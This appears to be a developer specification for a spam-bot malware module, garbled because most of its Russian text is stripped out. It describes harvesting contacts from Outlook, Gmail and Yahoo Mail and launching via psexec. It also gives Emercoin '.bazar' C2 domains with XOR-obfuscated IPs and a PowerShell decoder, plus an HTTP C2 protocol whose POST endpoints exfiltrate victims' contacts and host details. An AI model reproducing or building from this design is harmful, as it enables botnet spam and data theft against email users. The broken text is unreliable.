 
-


 -,   -   .

 
   :
-  :             
-   :   + .

     - 
-  
- 
-    
-   ( SMTP-,   )

   (  )    .
        ,   :
-  -      
-  -   .

 :
-      ,     ;
-     ,     SMTP-.

 
      ,         .
   :
-  (    );
-   ;
-   .

( )   :
-   :    ,      
-   :  .


-       , ,       SMTP-
-      .exe
-    "   "      
-        
-     
-       -      !
-       -   (>0),    ( 0)
 psexec -d -s program.exe
-    HTTP -   WinInet/WinHTTP.       HTTP-,
     

 
1.     Microsoft Outlook
2.      1   Microsoft Outlook
3.      ,   Microsoft Outlook
4. ,       SMTP-
5.   - GMail
6.   - GMail
7, 8 + Yahoo Mail



 -  HTTPS.
HTTP-    Content-Length   .
        XOR,  URI   ( ).
 ,    GET /1/2/sv     /1/2/sv

--
       .bazar (   Emercoin DNS).
   ;         
   .     ,          .

  IP-   Emercoin,     :
-    DNS-
-  IP-   XOR 254   . ,
  124.245.101.251 (  DNS-) -> 130.11.155.5

.. DNS-  ,         DNS- .

  ipxor.ps1  PowerShell:
$ip = read-host -prompt "Enter IP";
write-host $ip;
$newip = '';
($ip.split('.') | foreach {
    $octet = [byte] ( $_)
    $octet = $octet -bxor 254;
    $newip = -join($newip,'.',$octet);
}
)
write-host $newip;
- -

         IP-.
   ,    443   HTTPS.
    .

  ,      ,     .
         .

--
 ,    ,    XOR    
 :    ,     .
- -


URI   

/id_mailout/id_bot/request


- id_mailout -   - uint64_t
- id_bot -   - ;    GUID   CBD27893-F9EB-465C-AAF6-D620ED24C8C9,
          a-zA-Z0-9_-.

      ,       .
    -      [\r]\n

 ,     HTTP 200  HTTP 102   (    204, 30*).
HTTP- 102 "Processing" ,        ,       .
          30 ,   -102 .
    ( 200   102)          5 ,   .
        .
         ,      .

1.  :   ,   ,  ,  ,  
GET /<idm>/<idb>/st

:
<interval>[\r]\n               //       . 0   .   0.
<mailout_type>[\r]\n           //  : 1 -     -; 
                               //                2 -      -;
                               //                4 -     ;
                               //                  () - 
<send_type>[\r]\n              //  : 1 -      ;
                               //                2 -     -;
                               //                4 -       SMTP-
                               //                     -   
                               //                  () - 
<attach_num>[\r]\n             //    :  0  10 (  - )
<rcpt_every>[\r]\n             //      ;     Bcc:
<random_every>[\r]\n           //   - 
<control_mailbox>[\r]\n        //   
<validate_emails>[\r]\n        //    email-  : 0 - , 1 - 

2.  
GET /<idm>/<idb>/sb/<number>

  -  ,     (    ).
<number> -   .
      3,  <number>       .
,  ,  1000    .

3.  
GET /<idm>/<idb>/m/<number>

<number> -   .
  -     ,     .
   - ..     multipart-.
          (    ),
           .
  ,       multipart-.

4.   
GET /<idm>/<idb>/a/<>

  -    1  10.
    Content-Disposition,     MIME- .
    .
    HTTP-  (,   ).

5.   
GET /<idm>/<idb>/l

     email-,     .
   .

6.   
GET /<idm>/<idb>/sv

     SMTP-,     ,    .
 :
[<proto>:]<IP-address>:<port>:<user>:<password>[:field=value[:field=value...]]
  proto      SSL-.
.

 field=value     , , DNS-, RSA-,  .
         .


7.  
POST /<idm>/<idb>/c

   -   (  multipart  form-urlencoded!)
     ,   UTF-8.
    :
field=value;field=value;...;field=value\r\n
  value   urlencoded.
 field   :

email
firstname
midname
lastname
country
state
city
zip
street
phone
url

       !      ,
    .
           .

     (  ),    
   .     - 2.

8.  
POST /<idm>/<idb>/info

   -   (  multipart  form-urlencoded!)
 :

os: <   >
arch: <  x86/x64>
hostname: < >
username: < >
domain: <   >
tz: < >
locale: <>
ip: < IP->
client: <     ,  .     >
webmail: <URL    ,  .     >
me: <email      .     >

       : -     .
          .

9.  

POST /<idm>/<idb>/info

   -   (  multipart  form-urlencoded!)
 :

sent: <  , >
addresses: < >

          ,    .
       .


 

        .

   :
1.     -   ,   GET / HTTP/1.1    ,
   200.
2.         .    ,
  "" ,   .
3.     
4.    ,      ,      .
5.    ,   .
5.1.  ,       (  1000   1 ,   )
6.    (    ).


    :
-       Microsoft Outlook
-       Gmail  Yahoo! Mail
 